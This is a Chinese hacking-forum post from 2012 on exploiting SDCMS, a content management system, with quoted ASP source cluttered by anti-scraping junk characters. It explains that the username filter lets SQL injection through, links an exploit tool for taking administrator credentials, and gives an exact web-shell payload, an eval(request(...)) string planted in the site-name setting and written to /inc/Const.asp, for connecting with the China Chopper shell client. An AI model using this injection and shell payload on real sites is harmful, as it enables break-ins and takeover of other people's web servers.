找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3538|回复: 0
打印 上一主题 下一主题

SDCMS通杀漏洞利用工具及提权拿SHELL

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-9 20:57:02 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
作者:T00LS 鬼哥8 l. `* f0 S. U9 H6 d, ^1 z
漏洞文件:后台目录/index.asp0 _/ K  s, S/ m5 |
0 h1 C" ]8 i) v8 X
Sub Check8 N% |+ H/ }2 k. t
    Dim username,password,code,getcode,Rs9 ~" g5 f, h) ]3 C+ |% Z) d
    IF Check_post Then Echo "1禁止从外部提交数据!":Exit Sub! x0 t( b5 P9 F1 ~- a, `' l
    username=FilterText(Trim(Request.Form("username")),1)) z8 n, Y7 P8 c! x  H
    password=FilterText(Trim(Request.Form("password")),1)" c: ]- z( d' C# [( g7 ^1 j, o$ d
    code=Trim(Request.Form("yzm"))
: p+ g/ w( s  t4 `: E7 `1 C    getcode=Session("SDCMSCode")
. k; `- z# o& C7 e  H    IF errnum>=loginnum Then Echo "系统已禁止您今日再登录":died
! {/ W4 X0 ], T: q% {/ d3 |    IF code="" Then Alert "验证码不能为空!","javascript:history.go(-1)"ied
  w1 w8 I0 L6 n; N8 l. r, m  Z    IF code<>"" And Not Isnumeric(code) Then Alert "验证码必须为数字!","javascript:history.go(-1)"ied
, ~4 y; s5 |; g* K- h6 F1 v    IF code<>getcode Then Alert "验证码错误!","javascript:history.go(-1)"ied; a+ p, X8 x* }5 C  Y5 B
    IF username="" or password="" Then
0 Z! N' O( _0 [  D        Echo "用户名或密码不能为空"ied
8 V$ p1 Z7 u  ]) B    Else
* c/ A- f7 C# o6 P        Set Rs=Conn.Execute("Select Id,Sdcms_Name,Sdcms_Pwd,isadmin,alllever,infolever From Sd_Admin Where Sdcms_name='"&username&"' And Sdcms_Pwd='"&md5(password)&"'")% {) e: I( B! s
        IF Rs.Eof Then
% ~( r9 V; p$ T- P# X+ N            AddLog username,GetIp,"登录失败",18 `7 F- \) @( @# p1 o2 l3 a: R
            Echo "用户名或密码错误,今日还有 "&loginnum-errnum&" 次机会"
. J1 N) u- v  s5 r. j% o; c' z        Else1 \& Q. E% t+ I! S* c! \
            Add_Cookies "sdcms_id",Rs(0)
" I& {8 _4 B4 E$ C            Add_Cookies "sdcms_name",username
9 c- K8 m& E' m- X7 x            Add_Cookies "sdcms_pwd",Rs(2)
1 F$ p0 z! w' P5 f9 b/ b            Add_Cookies "sdcms_admin",Rs(3)/ s2 ?1 G* `/ s& r: d6 l
            Add_Cookies "sdcms_alllever",Rs(4)6 w( @( z% @! I8 V. Y
            Add_Cookies "sdcms_infolever",Rs(5)2 s. Q( D1 y. N/ e4 x* E
            Conn.Execute("Update Sd_Admin Set logintimes=logintimes+1,LastIp='"&GetIp&"' Where id="&Rs(0)&"")
7 `; ]3 ]/ [7 @8 `1 T4 ?& h            AddLog username,GetIp,"登录成功",12 ?. d5 i* J  W& @2 B
            '自动删除30天前的Log记录0 R+ S4 w& I" ?0 u6 r
            IF Sdcms_DataType Then
$ H8 }& v, d5 A4 c                Conn.Execute("Delete From Sd_Log Where DateDiff('d',adddate,Now())>30")4 W+ s4 V! k. \: Y7 [) G! |
            Else2 ~& h% c4 O" ^8 a1 e
                Conn.Execute("Delete From Sd_Log Where DateDiff(d,adddate,GetDate())>30")
- p3 O7 Y0 v' {5 s5 _            End IF2 G& b2 J" q; c8 o. j- E  l1 R1 S1 {
            Go("sdcms_index.asp")
2 P  m. Q1 m' P        End IF
5 D% I% ~+ R6 K" ]9 L, h' C        Rs.Close
& V4 Z3 o1 F; L; W5 y) D( D& y& e        Set Rs=Nothing
; R/ m0 Q. d* H4 ?" Y! H2 f: ^    End IF
! Z! U6 U) N1 x( I% [$ J8 G: |- Q6 TEnd Sub; E, v5 o' w: q# e
* ^  p2 n% f1 N! |1 G
’我们可以看到username是通过FilterText来过滤的。我们看看FilterText的代码
3 X( P6 \6 Z7 X! G% P$ c6 t0 l0 l7 X- o/ t- x1 S6 u$ r
Function FilterText(ByVal t0,ByVal t1)5 x: E1 W; O' H! z9 D
    IF Len(t0)=0 Or IsNull(t0) Or IsArray(t0) Then FilterText="":Exit Function
! P( v; k: z6 H$ ?7 J    t0=Trim(t0)
- d) n% m* H& X6 D5 O    Select Case t1
; b4 x3 c9 j/ U1 {3 ~) S) e7 n7 b        Case "1"
6 |6 r% I+ E, Q8 }% H            t0=Replace(t0,Chr(32),"")4 G7 @% p; _% r
            t0=Replace(t0,Chr(13),"")+ N# ]- ~- P0 [. Y4 C9 `
            t0=Replace(t0,Chr(10)&Chr(10),"")6 \$ ?# H8 A% l1 n0 p# o/ V
            t0=Replace(t0,Chr(10),"")
( t' d- ^0 f8 q( f4 L        Case "2"9 `8 F0 w, l7 z
            t0=Replace(t0,Chr(8),"")'回格
1 f6 @- p( }" X) J" f, ~' X            t0=Replace(t0,Chr(9),"")'tab(水平制表符)) B: k6 c! j( B* G. v
            t0=Replace(t0,Chr(10),"")'换行
0 X3 z8 ^- |' P: q: B3 t" t' U            t0=Replace(t0,Chr(11),"")'tab(垂直制表符)
* D& _6 _+ h* w: `% u+ `. O% X) U            t0=Replace(t0,Chr(12),"")'换页
1 l- K5 E* b5 u0 z4 u3 T; Z2 F            t0=Replace(t0,Chr(13),"")'回车 chr(13)&chr(10) 回车和换行的组合3 a8 z- ?( f( b- v( X& ?3 Y) `
            t0=Replace(t0,Chr(22),"")3 W6 y9 e7 m* s0 H9 J6 ~5 Q- h+ m7 t
            t0=Replace(t0,Chr(32),"")'空格 SPACE
, V) ]1 i0 H; g# x  N8 i  f! v            t0=Replace(t0,Chr(33),"")'!
- g& D# l) g/ s+ H. a0 z            t0=Replace(t0,Chr(34),"")'". z) K* J! q3 q( q/ _* b) q
            t0=Replace(t0,Chr(35),"")'#2 i6 R' _6 N" F. w
            t0=Replace(t0,Chr(36),"")'$  A" t3 w  S2 y! s( J
            t0=Replace(t0,Chr(37),"")'%8 K- n( s/ H" u1 X/ q4 v. g$ H3 J1 r
            t0=Replace(t0,Chr(38),"")'&/ m% Z0 r8 x1 q) r2 T2 ^: U2 Y
            t0=Replace(t0,Chr(39),"")''
* [/ A' s/ \+ T3 N8 S$ O7 {2 W            t0=Replace(t0,Chr(40),"")'(
9 ?1 h" ]4 @0 t! M9 ^: {            t0=Replace(t0,Chr(41),"")')
+ W7 H9 ^* M2 D" {            t0=Replace(t0,Chr(42),"")'*. a: ]& D8 k% G2 H' h
            t0=Replace(t0,Chr(43),"")'+
( O( K- C. r8 H& |            t0=Replace(t0,Chr(44),"")',
: k6 a( H, S& J3 c4 U            t0=Replace(t0,Chr(45),"")'-8 _7 _* \; [2 [8 U& K' m, ~
            t0=Replace(t0,Chr(46),"")'.
; H2 j/ |. q/ T! l            t0=Replace(t0,Chr(47),"")'/6 J  N1 v$ l" z; K$ G$ X8 t$ t
            t0=Replace(t0,Chr(58),"")':
$ [7 e8 {, E, F! e/ o- s            t0=Replace(t0,Chr(59),"")';
0 t! n" K/ U. H0 G" U. d% {# N            t0=Replace(t0,Chr(60),"")'<             t0=Replace(t0,Chr(61),"")'=             t0=Replace(t0,Chr(62),"")'>
4 o( n4 j1 G' x: T  V8 o  J: U( t8 |            t0=Replace(t0,Chr(63),"")'?
. {) Y* x, H2 Y, r5 @, k            t0=Replace(t0,Chr(64),"")'@
: Q/ m  n3 B& F1 I+ ^5 J" C            t0=Replace(t0,Chr(91),"")'\3 m, `# |& A% U$ k
            t0=Replace(t0,Chr(92),"")'\
- [( L5 C0 [6 V* U            t0=Replace(t0,Chr(93),"")']
( Q4 q& _2 v4 i8 L* e+ D- F            t0=Replace(t0,Chr(94),"")'^
1 P5 n5 B0 O; f/ e1 j8 J, _, S$ r0 x  ^            t0=Replace(t0,Chr(95),"")'_  e* a8 p; C5 \% ~. r! N1 {
            t0=Replace(t0,Chr(96),"")'`
7 e$ D% k% g& w) u5 o            t0=Replace(t0,Chr(123),"")'{
  e( G! U  o  c% D. Z1 Y            t0=Replace(t0,Chr(124),"")'|
% d9 w/ `# \+ U1 ^" a  _$ ^7 n            t0=Replace(t0,Chr(125),"")'}* D/ ?. A( L/ t' I) L' T, M* s! R
            t0=Replace(t0,Chr(126),"")'~3 P( _' s- p0 _# V( U8 l  h
    Case Else/ O; w3 q5 o! S1 ^
        t0=Replace(t0, "&", "&")5 K) G$ K6 ~: d% l9 L* {' U) ?
        t0=Replace(t0, "'", "'")
" r7 K0 D' Y7 W( G! H6 S" n( W        t0=Replace(t0, """", """)
/ @3 ]8 ^; `( u$ z1 U" y/ X        t0=Replace(t0, "<", "<")         t0=Replace(t0, ">", ">")
3 i% W# H1 g8 T/ v1 |+ {. g    End Select
; {- r6 G& W! j) c: @    IF Instr(Lcase(t0),"expression")>0 Then
9 `3 v. q. ?9 C        t0=Replace(t0,"expression","e&shy;xpression", 1, -1, 0)# A. j- L/ t4 u/ r! i7 h
    End If
: ^: o# v8 H  A8 X. G    FilterText=t04 w0 C/ e3 m# {6 ?& G& m
End Function4 U  d/ p1 B4 A- Y3 o( x, c3 J
  N  {1 \8 X7 w( Y) h7 b4 m* T
看到没。直接参数是1 只过滤9 _; N) m: U0 {1 x7 G) b
                        t0=Replace(t0,Chr(32)," ")( \* o7 f1 ^3 ]8 m, N5 \$ l: L! }$ ~
                        t0=Replace(t0,Chr(13),"")0 s6 u# j1 {$ W6 b' N
                        t0=Replace(t0,Chr(10)&Chr(10),"- y% u: D8 s; s$ [1 j4 F
")7 R1 I$ \, g) \% Z, R4 b6 x
                        t0=Replace(t0,Chr(10),"' F7 G9 F' K' q' _" L
")& t: ~5 l2 R, |+ R6 T7 J* C1 r
漏洞导致可以直接拿到后台帐号密码。SDCMS默认后台地址/admin/如果站长改了后台路径,那么请自行查找!9 W9 h- N4 `. p8 R: S+ @- p" ]
EXP利用工具下载 (此工具只能在XP上运行):sdcms-EXP
3 J2 @0 U- U3 H( a! o
/ W) B: f) B( n8 s. B0 s8 j测试:- n/ c+ R9 g! h1 _# ^6 K6 j6 @1 x

: z) h3 Q% y  s, E; b+ }# n9 c7 s, ~  D* z& e# Y
现在输入工具上验证码,然后点OK
$ j; ]( O" c7 b- I" d$ t# B# s7 X* A$ v9 b' v; P
& m& f3 \- P5 L
看到我们直接进入后台管理界面了,呵呵!3 ]( F* |. s5 r
! O, p! A2 {4 Q2 m" X, I
/ _3 ]' Y. |; \4 R/ |

* a: i( U3 r: y5 d& F4 d5 D, }+ ^这样直接进入后台了。。。。) P# F5 J2 K) L2 q& A

* h  ]8 l7 S4 x6 i# M: x
. s7 W7 K4 d1 h: e- F6 X, G1 M/ h% @  g3 x& f+ ~7 z9 {
SDCMS提权:
) D# @  Y8 g& d2 V" ]' r! ]( h! U' i& m; p5 S$ {$ B1 P7 L
方法1:访问:/后台目录/sdcms_set.asp 在 网站名称:后面加个 “:eval(request(Chr(63)))’  即可,直接写一句话进去。 写入到/inc/Const.asp 一句话连接密码是?
8 P) C6 \3 z  m5 R' G& S0 H$ g( Q* A

+ M9 b- }- G  L: t1 {% |
2 J( g$ f) [0 A+ K: p3 l5 W, NOK,现在用菜刀连接下!
- r. z+ X/ S0 F' c: T1 x
2 m1 o& R8 E* J# p( d
' U7 V( G. s5 V! J: ^2 a7 r8 u7 g" Y
) j" D8 M, ~$ |) d; D# u
8 z3 V! ?1 P* K
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表